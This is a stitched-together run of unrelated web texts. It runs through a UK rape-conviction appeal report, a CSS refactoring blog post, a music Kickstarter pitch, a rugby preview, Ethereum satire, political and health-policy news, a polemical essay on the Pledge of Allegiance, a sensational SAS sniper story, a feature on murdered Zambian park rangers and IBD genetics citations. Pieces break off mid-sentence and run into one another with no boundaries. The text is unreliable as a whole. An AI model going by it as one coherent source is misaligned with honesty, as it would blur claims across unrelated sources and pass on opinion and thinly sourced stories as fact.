simple design at all!! These guys' details are amazing. All the respect to the people behind these works of art (You all deserve all the awards and if Oscar still doesn't appreciate you then, F*K them.)HTTYD 2Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email A Birmingham man who was found guilty of rape after jurors were not told his alleged victim had previously made a false claim of indecent assault has had his conviction quashed. Three Appeal Court judges heard that the “mistake” by West Midlands Police was uncovered by the Criminal Cases Review Commission (CCRC) after Sajid Ali had spent two-and-a-half years in jail. Mr Ali, from Aston, claimed he had suffered “five years of hell” since he was originally arrested. He was handed a five-year sentence at the city’s crown court in January 2009 after being convicted of raping a woman he met while working as a floor-layer. But the Court of Appeal, sitting at Birmingham Crown Court, heard that jurors who tried the 41-year-old were unaware that the alleged victim had made a bogus allegation of indecent assault five years earlier. Police checks made before Mr Ali’s trial failed to find any trace of the previous incident. It emerged during the appeal hearing that records uncovered by the CCRC showed the woman wrongly claimed to have been sexually assaulted by a stranger in Birmingham city centre in 2004. CCTV footage taken at the time of the earlier incident showed the woman walking arm-in-arm with a man, and she later conceded she made the false report because she “regretted” her contact with him. The Court of Appeal was told the background information about the woman, who cannot be named for legal reasons, should have been made available at Mr Ali’s trial. Quashing Mr Ali’s conviction and ordering that there should not be a retrial, Lord Chief Justice Lord Thomas, said it was unclear why the CCRC had been able to find the information but West Midlands Police had not. Directing the Chief Constable of the West Midlands Chris Sims to provide a report to the court explaining the blunder, Lord Thomas added: “It seems to us that the defendant is entitled to know why this matter arose.” Speaking after the hearing, Mr Ali’s solicitor, Khuram Yaqub said his client had been through “five years of hell”. Mr Yaqub commented: “He has always said from the outset that he is innocent. “He is relieved that his conviction has been quashed but he is also upset and disappointed that this information was not found by the police.”Domain names were registered to take advantage of data breach. Credit bureau Equifax (NYSE:EFX) has successfully won control of 138 domain names that were registered after it reported a security breach this summer. In the wake of the breach,
functionality as it was before. The three Disciplines of Project Ironman This had three major implications on our user interface. The new CSS foundation was built with a mobile first approach and prefers min-width queries whereas the exisiting website was built with a desktop first approach and therefore required max-width queries. Furthermore for better maintainability we decided to move the media queries inline, after we had initially moved them to separate files, because of asset file sizes. So the first step was to rewrite the media queries from a min-width perspective and re-inlining them into the CSS core. Our existing CSS core was founded on a reset.css while the new framework uses a custom build of normalize.css. Additionally, due to the fact we supported IE7 until the beginning of the year we still used content-box as our default box-sizing setting. To achieve this we would have to rewrite a lot of widths and heights and adjust a lot of default styling. This was the second step, replacing the reset.css with normalize.css and switching default box-sizing to border-box. One of our major pain points was the usage of image sprites for our icons. They were completely cluttered and became unmaintainable as we had several versions of them, with variations for mobile, high-resolution, and some which were only used when testing new features and were no longer needed. We decided to use embedded SVG icons with an embedded PNG fallback which we built with grunticon. In the end, this step allowed us to remove around 800 icons and more than 2000 background-positions from the stylesheet and adapt all occurrences to use the new SVG icons. So as a last step we had to get rid of our image sprites. In short we had to refactor > 50.000 Lines of SCSS Code, adapt dozens of templates and test the whole application on all possible device and browser combinations once again. Wuu. What a technical challenge. You can imagine that there was time pressure to get this done quickly as we cannot afford to stop (UI) feature development for a long period of time due to business reasons. Getting things done We were able to convince the management - and ourselves - that we could do this in a timeframe of four weeks and to do so we built up a dedicated project team of incredibly committed and driven people from across Software Engineering, Quality Assurance, and Design. Since estimating this whole project would probably have taken longer than it would to actually do, we decided against bigger estimation rounds and trusted our own commitment, our passion, and our gut feelings. This was the project we always wanted to be able to do and now this was our chance. We were so committed that it was clear that we will get this thing done as soon as possible. Communication and clearly making the progress and any upcoming issues visible to the whole company were our only weapon. We decided to build up a very simple Kanban board, established a project stand-up and a project Slack channel and kept management and the company up-to-date via our internal socialcast network. We delivered. After three weeks, 800 commits, and more than 50,000 lines of refactored code, we were able to release the technical migration as an A/B Test. We tested the migration for one week, with positive results on mobile devices where mobile first paid out and accepted the migration after only four weeks. The following infochart visualizes some of the important numbers of this project e.g. the numbers of coffee needed. The outcome From the technical point of view our main achievements / improvements were the following: we reduced > 10% of CSS asset file size we removed 47 image sprites and put in our new sharp SVGs we reduced the LOC of SCSS by more than 20% we saved in average more than 6 HTTP requests for image sprites we improved the render performance on smaller viewports due to the mobile first approach we improved our overall quality of the CSS base we enabled ourselves due to better encapsulation of the new CSS framework an easy and smooth update process of the Core CSS The Specificity Graph after Ironman shows exactly what we wanted to achieve with Project Ironman. A maintainable, healthy and sustainable UI-Layer base for future developments and frontend/design iterations. I did a talk about the whole project at the OpenTech School Meetup in Dortmund. If you want to have a look into the slides you will find them here. Last but not least it is worth to mention that the not the technical challenges nor the implementation made this project so incredible successful. No it was the team, the spirit, the commitment and the passion of the whole involved project team and the dedication they put into the implementation. I have never experienced such an awesome engineering culture. Are you curious? Maybe we are looking for you right now? Have a look at our second iteration of our job pages built upon a Design System :)Welcome! Hello friends, family, and supporters of new music! Not quite a year ago, I was scrawling crazy ideas about eggs onto pieces of paper and jotting down sloppy music notation, trying to approximate what I thought scrambled eggs might sound like…as a mad-man might do. From that came the concept of writing an entire multi-movement piece about various culinary forms of eggs. Turning eggs into art... Huh? Really? Yes. Trust me on this. It will work. Over the next several months, I concentrated these thoughts and worked them out at the piano, and eventually zeroed in on musical ideas that I was happy with, enough to develop them further. By November of last year I had finished 3 out of 5 movements of “The Egg Suite”, and by March of this year, I completed the final two. Once I was finished composing, I also practiced them until I was ready to record them. Those recordings and videos are available for your enjoyment online (iTunes/Amazon/Bandcamp and Youtube, respectively). Listen/Watch: And now... the BOOK: The final piece of this eggy project, in my eyes, was to create an actual, physical book version of the entire suite. So, slowly but surely, I began assembling the book: creating original artwork for the cover and inside pages, formatting the book, and even writing an Appendix which covers a behind-the-scenes look at some of my composition techniques used to write this music. I have been absolutely excited working on this project, every step of the way, and I’m very proud of the result. Finally, a year after that initial scribble on a piece of paper, the 'Egg Suite' BOOK is ready for production. That’s where Kickstarter comes in. Before I can print the first batch of books, I need the funds to do so. If you would like to support this project, and receive some exclusive rewards in return, here’s your chance. If you’d like to reserve your very own copy of the book, there is a Pledge option specifically for just that, too. This campaign is all-or-nothing. I can only go ahead with the printing if I reach my funding goal. [UPDATE: Goal has been met. You may still pledge & place your pre-order!] So, please consider contributing to this independent art project. I believe in it very much, am proud of the work I’ve done, and I do believe you’ll dig what I’ve created. After you’ve contributed, please consider sharing this campaign with friends, family, or patrons of the arts. Let’s get this book printed! THANK YOU for your support. About the suite: http://www.lukethering.com/the-egg-suite-2016.html - - - - - Even more about the suite: This suite explores a variety of compositional techniques, and each movement has its own very unique character. Take, for example, the first movement, Carton, which was inspired by the digits I found on a carton of eggs. I converted the digits into each of the 12 tones we have in Western music. From there I used these 12 ordered pitches as a basis for the first and fourth movements. Or take, for example, the third movement, in which I set out to write a Bach-like invention, whose main theme begins with the tones E-G#-G#! Or the final movement about deviled eggs, which is loaded with references to the devil, including instances of 6-6-6 and the interval of a tri-tone, otherwise known as the diabolos en music. Put simply, I really dug deep into different compositional techniques. Put really simply, I really 'nerded out' while writing this thing. So, if you’re a music nerd like me, a music lover, a piano player, or simply a supporter of new, original work, please consider pledging your support! Check out the several Rewards options, and choose the one that makes the most sense for you. If you’re interested in owning your very own copy of the book once it’s printed, pay special attention to the third and fourth Pledge option, which will serve as a pre-order of the book, provided I reach my funding goal.* THANK YOUThe Pacific Rugby Premiership finish their inaugural season tomorrow, with San Francisco Golden Gate taking on the Glendale Raptors at Infinity Park in Glendale. Set to kick off at 3pm MST, the match will be streamed live on the RugbyTown USA website. As well as being the first-ever championship game for the PRP, this is also the first time a TMO will be used for in American club rugby in an official capacity. SFGG came into the season as definite favorites to win the competition overall, but it wasn’t an easy road for the storied club. They got off to a good start but then ran into a rough patch in the middle of the season with two straight losses and some close calls that must have rattled them. The regular season was finished with a 9-3 W/L; good enough for 2nd place and a trip to the finals. The squad boasts a star-studded lineup, with a decent amount of international-level experience from players such as Mile Pulu, Tai Enosa, Volney Rouse, and Mose Timoteo. However, even with all of that talent in the backs, the second row led the majority of the try scoring. “After a grueling 12 match regular season against the best teams on the west coast, we are very excited and proud to be participating in the inaugural PRP championship match,” said SFGG Head Coach Alex Houser. “We have come a long way as a team since the beginning of the season, not only in our play on the field but as a family off the pitch as well. We have had some ups and downs this season, but those have only served to bring us closer as a team and galvanize the resolve of the players and strengthen their determination in achieving the goals they set for themselves before the competition began.” The Glendale Raptors however came into the season under the radar, with many expecting an underwhelming midtable finish for the Colorado side. The doubters were quickly proved wrong in the opening to the season, with two strong wins over the Olympic Club and Belmont Shore. Their third game has a close enough to frustrating 31-26 loss to SFGG, but come the end of the season, it would be the only bump in their road. They ran the rest of the table for the rest of the season, finishing with an 11-1 record in their first PRP campaign. The Raptors can also boast some of the top scorers in the PRP. Mike Graham saw a 2nd place finish in the overall standing with 139, while the team had three fifths of the top try-scorers in Chad London (12), Preston Bryant (11), and Dustin Croy (8), London taking the highest number of tries scored in the tournament. Verdict This should be a game to remember. The heavily weighted score the last time these sides met shouldn’t dissuade you; their first match should be more indicative of how this game should end. SFGG’s defense will be key, as their victory will rely on denying the offensive power of the Raptors. If the Raptors can get a foothold, they have proven other and other again that they can keep scoring points if given the opportunity, so keeping the game tight will be vital for SFGG. Glendale has also been able to maintain their offence minded playing style well into the second half of games, so SFGG will need to sprint out of the blocks and try to take their lead into the break. When you two teams of this caliber clash, it’s always great to watch, and this is sure to be a fitting end to the season.The short version: A picture a day from the point at which two streets meet (approximately). The long version: One of the things I love about and am grateful for in my job as a hospice social worker is that it leads me all over Chicago. I've been up and down the grid system and have seen more sides of the city than I ever thought I would. The beautiful sides of the city -- the skyline, the architecture, the carefully planned nature -- are truly wonderful and if you don't agree with me, I will fight you. But the less photogenic, even ugly sides of the city -- the crumbling blocks, the abandoned buildings, the forgotten stories -- those are also beautiful if given the chance. I will fight you over those, too.Organized Crime Hates Ethereum Dan Conway Blocked Unblock Follow Following May 27, 2016 News that thugs took advantage of the federal contracting system to steal millions of dollars intended for Hurricane Sandy rebuilding reminds me of another storm — this one headed towards organized crime. Ethereum is a blockchain that makes embezzlement impossible, causing big fat white guys’ heads to explode in rage throughout the Garden State and beyond. Ethereum smart contract have the capability to set the rules for structured projects and campaigns that involve financial transactions for services rendered. These rules are transparent and run on the blockchain. No single computer or person can change or bend the rules, so the funds are distributed in a fair and transparent fashion, with no worry that a couple of boxes of cash are going to fall off the truck into Guido’s Lexus. Guido isn’t authorized by the code to receive the funds, so hanging a low level clerk over a balcony for leverage is futile. No amount of intimidation can change the rules once they are established as a smart contract on the Ethereum blockchain. A smart contract cannot be intimidated, censored, altered, hacked or harmed in any way. It runs on thousands of computers everywhere — turn one computer off and you haven’t done shit. The Ethereum blockchain will disrupt everything in the future, creating billions of dollars in new value by tearing down central points of control responsible for selfish rules. For example: banks that levy overpriced fees; bureaucracies that introduce waste, delay and inefficiency; and “peer to peer” companies like ArBnB and Uber that take a much bigger cut than they deserve and keep the true peers (homeowner meet renter) from capturing the lion’s share of the value. But perhaps the first intermediaries to be disrupted will be the gangsters. Do you fear for the Ethereum development team? Don’t. Two of these men are trained in Jazzercise. One is a confirmed minecraft grand admiral. And the other two are serving time in a Belgian prison for defacing a horse sculpture. The Ethereum project rolls on —the foulest development for the mafia since the RICO statutes and the invention of cheap leather coats.EverQuest 2 player counts jumps 300 percent since going free-to-play Sony Online Entertainment president John Smedley has said that EverQuest 2 has seen "amazing growth" since the game switched its model to free-to-play last month, and offered stats for the game. It looks like going free-to-play was a good decision for the world of EverQuest 2, as Sony Online Entertainment has said the game has seen "amazing growth" since making the switch last month. Among the stats released for the game is the staggering 300% "increase in new players." Daily logins have also jumped, seeing a 40% spike since going free-to-play. SOE's recent strategy has been to offer free-to-play options to its current crop of MMOs, including DC Universe Online, which switched to the model less than one year after the game's initial launch. EverQuest 2's shift was slightly different than that of DCUO, combining a preexisting free-to-play model used in EverQuest 2: Extended with the standard version of EverQuest 2 in order to minimize complaints from its divided community. Sony Online Entertainment president John Smedley revealed the stats via Twitter, adding that the change came "during the time that some really good competition hit the market," referencing the release of Star Wars: The Old Republic. EverQuest 2 has also seen a 200% "increase in item sales," plus SOE says that the game has added "a lot of new [subscriptions]." After going free-to-play, DC Universe Online had similarly good fortune, with daily revenues seeing a 700% jump within the first few weeks. SOE's next title is Planetside 2, which will launch as a free-to-play title later this year.The United States Pledge of Allegiance was written in 1892 by an American socialist named Francis Julius Bellamy, who was also a Baptist minister, and whose cousin Edward Bellamy is the semi-famous author of two socialist utopian novels: Looking Backward (1888) and Equality (1897). Francis Bellamy was born in Rome, New York, May 18, 1855. He died August 28, 1931. His original Pledge of Allegiance was first published in a magazine called Youth’s Companion, a nationally circulated publication written for youngsters. In 1888, Youth’s Companion began its campaign to sell American flags to public schools. For Francis Bellamy, this was more than a mere money-maker: it was an opportunity for him to spread his statist propaganda, and in the end Youth’s Companion became a supporter of the Schoolhouse Flag Project, which, under Bellamy’s watchful eye, aimed to place a flag above every public school in America. His Pledge of Allegiance was first published in the September 8th (1892) issue of Youth’s Companion. Along with the Pledge, the children were asked to perform the so-called Bellamy Salute (photo below). Not four decades later, when the Nazi’s rose to power and began saluting in a similar manner, Franklin Roosevelt changed the salute to the hand-over-heart method we see today. Francis Bellamy’s original Pledge of Allegiance, the recitation of which he intended to take no more than 15 seconds, went like so: I pledge allegiance to my Flag and to the Republic for which it stands, one nation indivisible, with liberty and justice for all. Here, in Bellamy’s own words, is why he chose the specific language that he chose for his Pledge: It began as an intensive communing with salient points of our national history, from the Declaration of Independence onwards; with the makings of the Constitution … with the meaning of the Civil War; with the aspiration of the people… The true reason for allegiance to the Flag is the ‘republic for which it stands’. …And what does that vast thing, the Republic mean? It is the concise political word for the Nation – the One Nation which the Civil War was fought to prove. To make that One Nation idea clear, we must specify that it is indivisible, as Webster and Lincoln used to repeat in their great speeches. And its future? Just here arose the temptation of the historic slogan of the French Revolution which meant so much to Jefferson and his friends, ‘Liberty, equality, fraternity’. No, that would be too fanciful, too many thousands of years off in realization. But we as a nation do stand square on the doctrine of liberty and justice for all… The phrase under God was incorporated into the Pledge on June 14, 1954. The man to introduce it was a fellow named Louis A. Bowman (1872-1959). Here are the transmutations that the Pledge has undergone since its inception in 1892: 1892 “I pledge allegiance to my flag and the republic for which it stands: one nation indivisible with liberty and justice for all.” 1892 to 1923 “I pledge allegiance to my flag and to the republic for which it stands: one nation indivisible with liberty and justice for all.” 1923 to 1924 “I pledge allegiance to the flag of the United States and to the republic for which it stands: one nation indivisible with liberty and justice for all.” 1924 to 1954 “I pledge allegiance to the flag of the United States of America, and to the republic for which it stands; one nation indivisible with liberty and justice for all.” 1954 to Present “I pledge allegiance to the flag of the United States of America and to the republic for which it stands: one nation under God, indivisible, with liberty and justice for all.” The problem, of course, with all this indivisibility talk is that the states were not necessarily intended to be indivisible. As Thomas Jefferson said: If any state in the Union will declare that it prefers separation … to a continuance in union, I have no hesitation in saying, “let us separate” (Thomas Jefferson, 1816). And John Quincy Adams — a devoted unionist — noted in a 1839 speech about secession: [In] dissolving that which can no longer bind, we would have to leave the separated parts to be reunited by the law of political gravitation to the center. If, then, you’ve ever wondered why it is when you hear the Pledge of Allegiance you feel as if you’re hearing the intonations of brainwashed drones, this is why: The Pledge was a propaganda prayer written by a socialist who’s goal was to inculcate young minds with dogma. And that’s the end of it. Author’s Note: This article first appeared January 1st, 2010, on this website.5 years ago (CNN) - Jeb Bush understands that as the son and brother of former presidents, his family name may hurt him as much as help him if he decides to run for the White House in 2016. And the former two-term Florida governor reiterated that he'll make his decision on whether to launch a campaign for the Republican presidential nomination by the end of this year. Follow @politicalticker Bush, the featured guest Monday at the Long Island Association's biannual luncheon, a popular stop for former presidents and White House hopefuls, was asked about the recent comments from his mother. Former first lady Barbara Bush told CSPAN that "there's no question in my mind that Jeb is the best-qualified person to run for president, but I hope he won't," adding that "there are other families," who deserve a chance. "It's an issue for sure," Bush admitted. Bush told the story of sitting next to a man on a plane who talked about having a Bush and a Clinton and then a Bush in the White House, with the prospect of another Clinton and Bush to come. Bush said "I get the point. It's something that, if I run, I would have to overcome that. And so will Hillary, by the way. Let's keep the same standards for everybody." Former Secretary of State Hillary Clinton has said she'll decide by the end of the year if she makes another bid for the Democratic presidential nomination. Bush said that Clinton's decision would not impact his at all. As for his timing, Bush said "that's a decision later on," adding once again that he'll decide by the end of the year. Bush said that he's "old school" in that he feels that "one election should end before the next one starts," referring to this year's midterm elections. Bush said that he thinks a there's a lot that can be done in 2014 and that "I intend to campaign for a lot of candidates for my team, and I hope we can be victorious and I'd rather focus on that right now." Bush making 2016 calls? Bush is seen by many political handicappers as someone who could appeal to independents and moderates, as well as Hispanic voters, a demographic where thanks in part to the tough stance by many conservatives on immigration reform, Republicans have much work ahead of them. "I think we've become a little more harsh than we need to be, so the first step would be to tone it down a bit, chill out," said Bush, adding that "we shouldn't be sending signals that turn them off from the get-go." CNN Political Editor Paul Steinhauser contributed to this report.A British sniper recently ended a terrorist beheading class by beheading the teacher from 3000 feet away. The sniper observed an ISIS terrorist actually training new recruits in the art of removing a head from an infidel. Who knew they had a class as awful as that? With one shot from his high powered weapon…class dismissed. Boom! From The Daily Caller: In a stroke of irony, a sniper from the elite British Special Air Service (S.A.S.) took the head off an Islamic State leader who was teaching recruits how to behead prisoners. The terrorist was probably not expecting to become his students’ example, but the sniper armed with a large-caliber rifle made him one after landing a head shot from over 3,000 feet away. The man was reportedly teaching 20 recruits when he quite literally lost his head. “One minute he was standing there and the next his head had exploded. The commander remained standing upright for a couple of seconds before collapsing and that’s when panic set in. We later heard most of the recruits deserted. We got rid of 21 terrorists with one bullet,” said a military official who witnessed the event. Continue reading… God bless the snipers that are making it hard for these ISIS sickos.Euskadi Basque Country - Murias Team, professional continental in 2018 Euskadi Basque Country – Murias Team will be a Professional Continental team in 2018. The announcement was made by Murias Group in a press conference held this morning in Bilbao’s Abando Hotel. “Three years ago, we decided to put a strong bet on Basque cycling, a sport imbued in our people's DNA and which represents Murias Group's values. All these years, we developed a small but sustainable and solid project”, said Murias’ managers. “But after three years, and with no additional support, we've decided to go a step further and become a Professional Continental team". For team manager Jon Odriozola, this new step means “fulfilling a dream and an impossible, after years of hard work to have a professional continental Basque team able to compete in the best races in the world and, of course, in the Itzulia or the Klasika". Javier Guillén, director manager of the Tour of Spain, promised to invite the Basque team to next year’s race. “We’d like to acknowledge the support that Javier Guillén and La Vuelta gave to this project, because we were able to meet the requirement of becoming the first professional continental team”, added Odriozola. Support campaign The team, besides, announced its 2018 supporters campaign and its aim is to create a big Euskadi Basque Country – Murias Team Supporters Club: from cycling fans to public institutions, Basque football teams or companies. “Basque cycling’s spirit can mirror the way our companies work and that is what we want to show to the world", said the team's managers. “We are open to everyone willing to contact the team, because all kinds of initiatives will be welcome", they concluded. Cycling fans and companies can become team supporters in the following website: www.murias-taldea.com/colaborador.The HealthCare.Gov website took down enrollment forms just after midnight. Obamacare enrollment period ends with massive surge The first open enrollment season of Obamacare ended at midnight Monday, a day that saw millions of Americans click onto Obamacare sign-up portals, dial into call centers and stand in long lines at assistance sites nationwide. The huge surge made it increasingly likely that enrollment would hit 7 million, the finish line that seemed out of reach during much of the often rocky six-month period. Shortly after 10 p.m., the Associated Press cited two sources that said sign-ups were “on track” to hit 7 million. Administration officials wouldn’t confirm the number but said that signs were pointing in that direction. Story Continued Below The HealthCare.Gov website took down enrollment forms just after midnight and displayed a new message that will transition people into a “special enrollment” period. “Don’t worry,” it said. “We’ll still help you get the coverage you need for this year.” ( CARTOONS: Matt Wuerker on Obamacare) Federal health officials said the site would reappear in a new guise Tuesday morning with instructions for post-March 31 sign-ups. Those will be open to people who self-report that they tried to make the deadline but failed. Depending on how long special enrollment goes on, enrollment numbers could still rise significantly. The last official day of the Obamacare coverage push was hit by a double whammy of new HealthCare.gov glitches that caused confusion and delay. The federal website was down for six hours early Monday morning. Then it was up. Then it activated its “virtual waiting room.” Then it blocked newcomers from creating accounts. Then it was working again, with officials reporting more than 1.6 million visitors by 2 p.m. and more than 3 million by 8 p.m. State exchanges reported similar surges. The federal site queued visitors when traffic rose, offering them a chance to get an email notification when the site would be less congested. It held through the night, despite the crush of visitors. ( WATCH: Timeline of Obamacare deadlines) State-run exchanges are also giving grace periods to people who started but didn’t finish. Some have set stricter criteria for the extensions than others. The technical problems, a flashback to HealthCare.gov’s botched launch last October, weren’t the focus the White House wanted as it tried to spur more Americans to be part of the late enrollment momentum. The intensity and tone of the White House messaging over these last days had evoked a confident turnout push on the eve of a close election. Suddenly it was about the glitchy website once again. But as the day wore on, the final surge kept growing — although it will be some time before it is known precisely how many of these people will finalize their enrollment by paying their premiums, how many were previously uninsured, and, perhaps most important, how many end up liking their new coverage well enough to help Democrats construct a counter narrative. ( Also on POLITICO: The Obamacare enthusiasm gap) Numerous polls show the law remains controversial and unpopular, and the Republicans have steadily blamed the Affordable Care Act for harming the economy, raising costs, killing jobs and depriving people of access to doctors of their choice. Even some moderate Democrats, facing tough reelection fights, want to change aspects of the four-year-old law. Administration officials again hit the road and the airwaves Monday, touting the benefits of subsidized health insurance and celebrating the historic sign-up momentum. President Barack Obama was in Italy and Saudi Arabia last week and hasn’t given enrollment an in-person nudge since his return. But the White House released humorous photos of him and first lady Michelle Obama and even the family dogs Bo and Sunny urging everyone to get covered. Vice President Joe Biden appeared on the “Rachael Ray Show,” talking health care — and skin care. “I think everyone is going to be surprised and pleased at how this has turned out,” the ever-garrulous vice president said in pre-recorded comments that sounded discordant against the surprise headlines about website woes. Later, Biden went to a school in Washington where people were getting help with their applications and thanked everyone. “You are going to be better off for it. The country is going to be better off for it. So thank you,” he told them. Enrollment had surpassed the revised 6 million threshold as of last Wednesday.Underpaid, ill-equipped and outnumbered, park rangers fight a one-sided war against vicious gangs of poachers. Hundreds have been murdered in the defence of endangered wildlife, and their deaths leave their own families in jeopardy. David Smith reports from Zambia Esnart Paundi rarely smiled for the camera. One old photo shows her wearing her ranger's camouflage fatigues and a pensive expression as she crouches beside a mound of bushmeat and three despondent poachers, one handcuffed. In another she is in a black leather jacket at her sister's home, leaning against the TV with a baby under her arm and sad eyes. Death stalked Esnart. When her mother died young, she stepped in to help raise her siblings and become the family breadwinner. One of her five brothers and two of her three sisters are dead. Twice married and twice widowed, she was a single mother of five children. When death came to Esnart herself at the age of 38, it was sudden, brutal and senseless. She had caught two more poachers trying to smuggle butchered wildlife to Zambia's copper belt. One was hiding a machete and, though she tried to flee, he hunted her down and smashed her skull with it. Her orphaned children are now scattered among different homes. The state has done nothing to help them. Esnart was one of the foot soldiers in what has been called the thin green line: park rangers faced with an unprecedented onslaught from vicious, well-armed criminal gangs in Africa and around the world. In the past decade at least 1,000 have paid with their lives for defending wild animals, according to the Thin Green Line Foundation, a charitable organisation which supports rangers in their work, and their families in the case of bereavement. "Once you are deployed on patrol, you know for certain: I am going to war," says Liywali Akakulubelwa, 47, a senior intelligence and investigations officer at the Zambia Wildlife Authority. "You accept that is the nature of the job." Respite is unlikely. Rangers are braced for an escalation in the "wildlife wars" – the increasing militarisation of the planet's most precious and fragile game reserves. The struggle is as ferocious as any in nature, but unlikely to be seen in a David Attenborough documentary. In India, the foundation says, rangers have been buried alive in sawing pits by illegal timber poachers. In Colombia they are killed when dealing with drug cartels, land mines and militias. But Africa is probably the bloodiest battleground. Elephants and rhino are under siege as the black-market prices of ivory and horn rocket. In the Democratic Republic of the Congo, tormented by rebel militias, 183 rangers have been killed in just one national park over the past decade. Last year alone Kenya lost six rangers, including a pregnant woman who was ambushed and shot in the face, while in Chad's Zakouma national park five rangers were mown down by automatic weapons during their morning prayers. Running with the herd: an elephant family in the Luangwa Valley, Zambia. Photograph: Frans Lanting/Corbis And this is no even contest. Some poachers are former army soldiers who do not hesitate to kill animals or humans, and they come with powerful backers. Rangers are often older and underpaid and lack the equipment, resources and training to defend themselves in firefights. When they make the ultimate sacrifice, there is often no government assistance for their families, who face a life of poverty and destitution. Zambia, a landlocked country generally seen as democratic, inoffensive and rich in wildlife, has suffered much down the years. Its rhino population was annihilated and most of its elephants wiped out in 1970s and 80s. Efforts to reintroduce and conserve the animals now mean the "big five" – buffalo, elephant, leopard, lion and rhino – as they are a tourist drawcard. In the early 1990s Esnart decided to become a park ranger to defend these crown jewels. Liywali, who trained with her for two years, recalls: "She wanted our animals to be protected so young ones could come and see elephants and buffalos. She wanted young people to see our natural resources in this country. She wanted to stop the trade in wildlife game meat. This is where death found her." Esnart became a ranger in 1995, bringing a crucial income to an otherwise impoverished family. With her mother dead, Esnart helped her father with parenting. Her brother Mawto Paundi, 33, a taxi driver, recalls: "I remember she insisted that I go to school, but I refused. I now regret passing up the opportunity. She was ready to sponsor me." Many former colleagues of Esnart claim she was aware of the risks of the job, but never dwelled on them. Mawto, however, says that she confided in him: "There was a time when she wanted to change career, get some money and do something else. She wanted to do something with computers so she could be in the civil service. It was because of the danger of going on patrol in the bush. She was concerned about the risks involved. It was around that time she died. Of course I was concerned as a brother, knowing the dangers of the job and what had happened to others who did it. A lot of other rangers have died. But I appreciated what she did for wildlife conservation." By 2009 Esnart was working under William Soko, a senior ranger in Rufunsa district, about 80km from the capital, Lusaka, and earning about 1,350 kwacha (£160) per month. "She was very cheerful and obedient," Soko recalls from behind his desk in a modest office. "She was a fine lady, ever-smiling, everybody's darling." Esnart was the only woman among Soko's 20 wildlife police officers, as rangers are formally called. "She was proud to be a pioneer. I gave her challenges, like patrolling through the escarpment. I thought she would say: 'No, I can't go' – I was shocked she went. It definitely changed my perception of women, because I know some males who are afraid to go there. I wouldn't hesitate to employ another female ranger. I still think about Esnart very much. She died a very sad death. She didn't deserve this type of death." Esnart died on 14 September 2010 in Kabwe in Zambia's Central Province. She was on a route where poachers were known to transport bushmeat. A small, light truck approached her roadblock, executed a U-turn and sped away. Esnart, who was unarmed, and two other officers with rifles gave pursuit on foot into the bush. They found the vehicle abandoned and followed some tyre marks that led to a pile of bushmeat and two poachers, whom they arrested. One of the rangers then left to look for transport. "One of the suspects had a panga [machete] hidden," Soko continues. "He
al. Inflammatory bowel disease and mutations affecting the interleukin-10 receptor. 59 Engelhardt K.R. et al. Clinical outcome in IL-10- and IL-10 receptor-deficient patients with or without hematopoietic stem cell transplantation. 60 Glocker E.O. et al. IL-10 and IL-10 receptor defects in humans. 61 Kotlarz D. et al. Loss of interleukin-10 signaling and infantile inflammatory bowel disease: implications for diagnosis and therapy. 62 Neven B. et al. A Mendelian predisposition to B-cell lymphoma caused by IL-10R deficiency. 63 Shouval D.S. et al. Large B-cell lymphoma in an adolescent patient with interleukin-10 receptor deficiency and history of infantile inflammatory bowel disease. The most dramatic use of clinical genetics is observed in IBD patients with predominant immune defects that can be cured through allogeneic bone marrow transplantation. After the original description of causative mutations in IL10RA and IL10RB genes, many young children with severe intestinal inflammation and perianal disease have successfully received curative HSCT []. IL10R mutations have also been observed in early-onset IBD patients after the development of B cell lymphoma [], revising the clinical pathway from planned autologous to allogeneic HSCT []. 64 Gerada J. et al. Mucosal inflammation as a component of tufting enteropathy. 65 Kammermeier J. et al. Targeted gene panel sequencing in children with very early onset inflammatory bowel disease – evaluation and prospective analysis. 66 Avitzur Y. et al. Mutations in tetratricopeptide repeat domain 7A result in a severe form of very early onset inflammatory bowel disease. 67 Kammermeier J. et al. Stem cell transplantation for tetratricopeptide repeat domain 7A deficiency: long-term follow-up. 68 Duran N.E. Hommes D.W. Stem cell-based therapies in inflammatory bowel disease: promises and pitfalls. 69 Hawkey C.J. Hematopoietic stem cell transplantation in Crohn’s disease: state-of-the-art treatment. Genomic diagnostics allows the identification of patients with epithelial defects associated with mutations such as in the EPCAM [] or TTC7A genes [] where HSCT is not helpful. In contrast to Mendelian disorder-associated IBD, in polygenic IBD autologous HSCT or mesenchymal stroma stem cell transplantation is currently being investigated as a potential way to reset the immune system and modify the stromal microenvironment []. 70 Levy M. et al. Severe early-onset colitis revealing mevalonate kinase deficiency. 71 Canna S.W. et al. An activating NLRC4 inflammasome mutation causes autoinflammation with recurrent macrophage activation syndrome. 72 Shouval D.S. et al. Interleukin 1beta mediates intestinal inflammation in mice and patients with interleukin 10 receptor deficiency. 73 Canna S.W. et al. Life-threatening NLRC4-associated hyperinflammation successfully treated with IL-18 inhibition. 74 Kuehn H.S. et al. Immune dysregulation in human subjects with heterozygous germline mutations in CTLA4. 75 Schubert D. et al. Autosomal dominant immune dysregulation syndrome in humans with CTLA4 mutations. 76 Shields C.L. et al. Assessment of CTLA-4 deficiency-related autoimmune choroidopathy response to abatacept. + regulatory T cells and activated T cells, the therapeutic CTLA4 fusion protein can restore immune homeostasis [ 77 Lo B. et al. Patients with LRBA deficiency show CTLA4 loss and immune dysregulation responsive to abatacept therapy. Molecular diagnosis further informs on potential therapeutic targets. Effective targeting of IL-1 has been described in individual IBD patients with hyperinflammation and inflammasome activation due to mevalonate kinase deficiency [], NLRC4 gene defects [], or, most recently, IL-10 receptor deficiency []. Moreover, enterocolitis due to NLRC4-associated hyperinflammation can be treated with IL-18 (and IL1R) inhibition []. A fusion protein containing the extracellular domain of CTLA4 suppressed the adverse effects of CTLA4 deficiency in vitro [], and might be beneficial for patients with immune dysregulation []. In patients with lipopolysaccharide-responsive and beige-like anchor protein (LRBA) deficiency, a defect that regulates CTLA4 endosomal vesicular trafficking in FOXP3regulatory T cells and activated T cells, the therapeutic CTLA4 fusion protein can restore immune homeostasis []. These exemplars illustrate that understanding the cellular mechanisms enables personalized medicine. Implementation of Genomics for Monogenic Forms of IBD in Clinical Practice 22 Petersen B.S. et al. Opportunities and challenges of whole-genome and -exome sequencing. 78 Manolio T.A. et al. Implementing genomic medicine in the clinic: the future is here. 78 Manolio T.A. et al. Implementing genomic medicine in the clinic: the future is here. 79 Farrugia G. Weinshilboum R.M. Challenges in implementing genomic medicine: the Mayo Clinic Center for individualized 